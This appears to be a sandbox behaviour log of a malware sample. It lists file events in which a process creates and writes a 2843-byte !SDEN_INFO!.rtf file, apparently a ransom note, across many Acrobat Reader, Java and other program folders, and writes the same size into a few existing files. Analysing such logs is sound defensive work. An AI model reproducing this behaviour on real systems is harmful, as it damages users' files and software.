File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nl-nl\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\nl-nl\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sk-sk\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\sl-si\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\tr-tr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\tr-tr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\tr-tr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ca-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ca-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ca-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\cs-cz\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\en-ae\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-fr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\hu-hu\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\require\2.1.15\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\require\2.1.15\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\libs\require\2.1.15\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\rhp_world_icon.png, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-ae\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-ae\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-ae\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\uk-ua\ui-strings.js, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\588bce7c90097ed212\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\prc\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-ma\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-ma\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\fr-ma\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\it-it\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\it-it\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\it-it\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pt-br\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pt-br\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\pt-br\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ro-ro\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ru-ru\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ru-ru\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ru-ru\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sk-sk\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sk-sk\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\sk-sk\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-cn\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\zh-tw\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ca-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\cs-cz\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\cs-cz\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\cs-cz\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\es-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\es-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\es-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\eu-es\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\eu-es\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\eu-es\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-fr\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-fr\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-fr\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\fr-ma\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nb-no\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nl-nl\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\nl-nl\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
